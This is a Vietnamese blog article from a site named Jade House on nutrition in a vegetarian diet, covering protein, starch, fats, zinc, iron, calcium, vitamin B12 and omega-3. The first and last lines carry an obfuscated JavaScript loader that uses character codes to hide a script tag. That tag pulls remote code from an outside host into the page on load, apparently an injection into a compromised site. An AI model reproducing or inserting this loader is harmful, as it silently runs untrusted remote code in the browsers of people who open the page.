Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Dinh dưỡng trong chế độ ăn chay lành mạnh

Những kiến thức cơ bản về chế độ ăn chay sẽ được Jade House (www.jadehousevn.com) giới thiệu trong bài viết sau. Mời quý độc giả cùng đón đọc!

Xem thêm

Ăn chay và những điều cần biết

Thực phẩm hữu cơ và những điều cần biết

Thực phẩm chay phổ biến

Những điều cơ bản về chế độ ăn chay

Chế độ ăn chay có nghĩa là không sử dụng thịt có nguồn gốc từ động vật có vú, thủy – hải sản và gia cầm và chỉ sử dụng các sản phẩm có nguồn gốc từ thực vật. Có nhiều chế độ ăn chay khác nhau, túm gọn lại đó là chế độ ăn chay không ăn hoặc sử dụng tất cả các sản phẩm có nguồn gốc từ động vật, bao gồm sữa, phô mai, các mặt hàng sữa khác, trứng, mật ong, len, lụa hoặc da. Đa số những người ăn chay đều có mối quan tâm về sức khỏe, môi trường và đạo đức; không thích thịt và các sản phẩm từ thịt; họ có niềm tin mãnh liệt; lòng trắc ẩn đối với động vật; và kinh tế.

Thay đổi chế độ ăn chay

Nhiều người thiết lập chế độ ăn chay ngay lập tức. Họ hoàn toàn từ bỏ thịt có nguồn gốc từ động vật có vú, thủy – hải sản và thịt gia cầm chỉ trong một thời gian ngắn. Những người khác sẽ tập làm quen và thích nghi dần với chế độ ăn chay phù hợp nhất với cơ thể và nhu cầu cuộc sống của bản thân. Hãy chọn cho mình một chế độ ăn chay phù hợp nhất để luôn có một cơ thể khỏe mạnh về thể chất và tinh thần. Có thể bạn cảm thấy khó khi thiết lập chế độ ăn chay ngay lập thì bạn nên tập làm quen bằng cách giảm bớt một vài loại thức ăn từ thịt, cá theo kế hoạch cụ thể. Một số người thích lập kế hoạch và chuẩn bị các bữa ăn công phu, tỷ mỉ; trong khi những người khác chọn các món chay nhanh chóng và dễ dàng.

Dinh dưỡng trong chế độ ăn chay

Protein

Khi áp dụng chế độ ăn chay, cơ thể bạn sẽ chuyển từ việc tiêu thụ calo trong protein động vật sang protein thực vật. Các chế độ ăn chay đều dễ dàng đáp ứng nhu cầu protein của cơ thể con người bằng cách thiết laajo một chế độ ăn uống đa dạng, miễn là họ tiêu thụ đủ lượng calo để duy trì các hoạt động sin hóa trong cơ thể và cân nặng. Không nhất thiết phải lên kế hoạch kết hợp các loại thực phẩm chay. Một chế độ ăn chay ba gồm nhiều loại protein có nguồn gốc khác nhau sẽ cung cấp đủ năng lượng thiết yếu cho cơ thể trong cả ngày.

Nguồn protein có thể sử dụng từ các loại ngũ cốc nguyên hạt, các loại hạt dinh dưỡng như đậu nành, đậu lăng, đậu ván, đậu xanh, đậu Hà Lan … Nhiều loại thực phẩm phổ biến như bánh mì ngũ cốc nguyên hạt, rau xanh, khoai tây và ngô cũng cung cấp protein dễ hấp thu.

Tinh bột

Tinh bột là thành phần dinh dưỡng quan trọng cung cấp phần lớp năng lượng cho cơ thể, thành phần cấu tạo của tế bào, mô, phát triển trí não và kích thích tiêu hóa. Bổ sung các nguồn thực phẩm giàu tinh bột như: cơm, khoai tây, bánh mì, các loại ngũ cốc nguyên hạt và các loại đậu, rau củ…

Xem thêm

Ăn chay và những điều cần biết

Thực phẩm hữu cơ và những điều cần biết

Thực phẩm chay phổ biến

Lipit

Lipti giống như một nguồn năng lượng dự trữ của cơ thể trong các màng tế bào và các mô liên quan; ngoài ra litpit còn là dung môi giúp hòa tan các vitamin và khoáng chất tan trong dầu. Các thực phẩm chay cung cấp hàm lượng Lipti đầy đủ như: dầu hạt cải, dầu lạc, dầu olive hoặc bơ…

Khoáng chất Kẽm

Nhu cầu về Kẽm trong cơ thể rất thấp nhưng kẽm đóng vai trò quan trọng đối với hệ thống miễn dịch. Nguồn Kẽm được tìm thấy trong các loại đậu, các loại hạt và các sản phẩm đậu nành.

Khoáng chất Sắt

Sắt là một khoáng chất quan trọng trong việc tạo nên các thành phần của máu như hemoglobin, myoglobin và enzym hô hấp cytochrom C. Các loại thực phẩm như các loại đậu khô, đậu phụ, tempeh, rau bina, củ cải, khoai tây nướng, hạt điều, trái cây sấy khô, bulgur, và thực phẩm tăng cường chất sắt (như ngũ cốc, bột yến mạch ăn liền và rau “thịt”) đều là những nguồn cung cấp khoáng chất sắt dồi dào. Để tăng hàm lượng khoáng chất sắt hấp thụ trong bữa ăn, hãy ăn cùng một loại thực phẩm có chứa vitamin C, chẳng hạn như trái cây hoặc nước ép cam, cà chua hoặc bông cải xanh. Sử dụng dụng cụ nấu sắt cũng là một cách để bổ sung thêm sắt vào cơ thể.

Khoáng chất canxi

Canxi là khoáng chất quan trọng của cơ thể, tham gia vào cấu trúc của xương và răng, quá trình hình thành thromboplastin, thrombin, fibrin – những chất giúp quá trình đông máu diễn ra thuận lợi và tham gia vào hoạt động dẫn truyền thần kinh lẫn quá trình co cơ.  Nguồn canxi tốt nhất là từ bông cải xanh, rau xanh collard, cải xoăn, rau mù tạt, đậu phụ được chế biến từ canxi, sữa đậu nành và nước cam. Để tăng khả năng hấp thu Canxi vào cơ thể cần có sự trợ giúp của các vitamin D3 và K2.

Vitamin B12

Tuy hàm lượng Vitamin B12 cần thiết cho cơ thể là rất thấp, nhưng đây là một trong các vitamin thúc đẩy tốc độ phản ứng của cơ thể nên lựa chọn những thực phẩm để cung cấp đủ lượng Vitamin B12 tránh các hiện tượng như thiếu màu ác tính dẫn đến tổn thương hệ thần kinh.. Nguồn vitamin B12 tốt nhất hiện nay là từ trứng, sữa, một số loại nấm và rong biển. Ngoài ra, có thể bổ sung vitamin B12 từ các men dinh dưỡng, thực phẩm chức năng.

Bổ sung Omega-3

Để tối đa hóa việc sản xuất DHA và EPA (axit béo omega-3 có trong cá và do cơ thể chúng ta tạo ra), hãy sử dụng các nguồn axit alpha-linolenic tốt trong chế độ ăn uống của bạn. Axit alpha-linolenic được tìm thấy trong hạt lanh, dầu hạt lanh, dầu hạt cải, đậu phụ, đậu nành và quả óc chó. Bạn cũng có thể lấy DHA trực tiếp từ thực phẩm được bổ sung DHA từ vi tảo (trong một số nhãn hiệu sữa đậu nành) và các chất bổ sung có chứa DHA có nguồn gốc từ vi tảo.

Lời khuyên

Viện hàn lâm dinh dưỡng đã khẳng định rằng chế độ ăn chay có thể đáp ứng tất cả các nhu cầu dinh dưỡng cần thiết cho cơ thể. Chìa khóa cho chế độ ăn chay lành mạnh như với bất kỳ chế độ ăn kiêng nào khác, là ăn nhiều loại thực phẩm, bao gồm trái cây, rau, nhiều rau xanh đậm và xanh lá cây, các sản phẩm ngũ cốc nguyên hạt, các loại hạt dinh dưỡng. Hạn chế các loại đồ ăn có đường và chất béo để có một chế độ ăn chay lành mạnh, tốt cho sức khỏe.

Xem thêm

Ăn chay và những điều cần biết

Thực phẩm hữu cơ và những điều cần biết

Thực phẩm chay phổ biến

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh

2 thoughts on “Dinh dưỡng trong chế độ ăn chay lành mạnh”

  1. Pingback: Thực phẩm chay phổ biến

  2. Pingback: Thực phẩm chay phổ biến - www.jadehousevn.com

Comments are closed.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();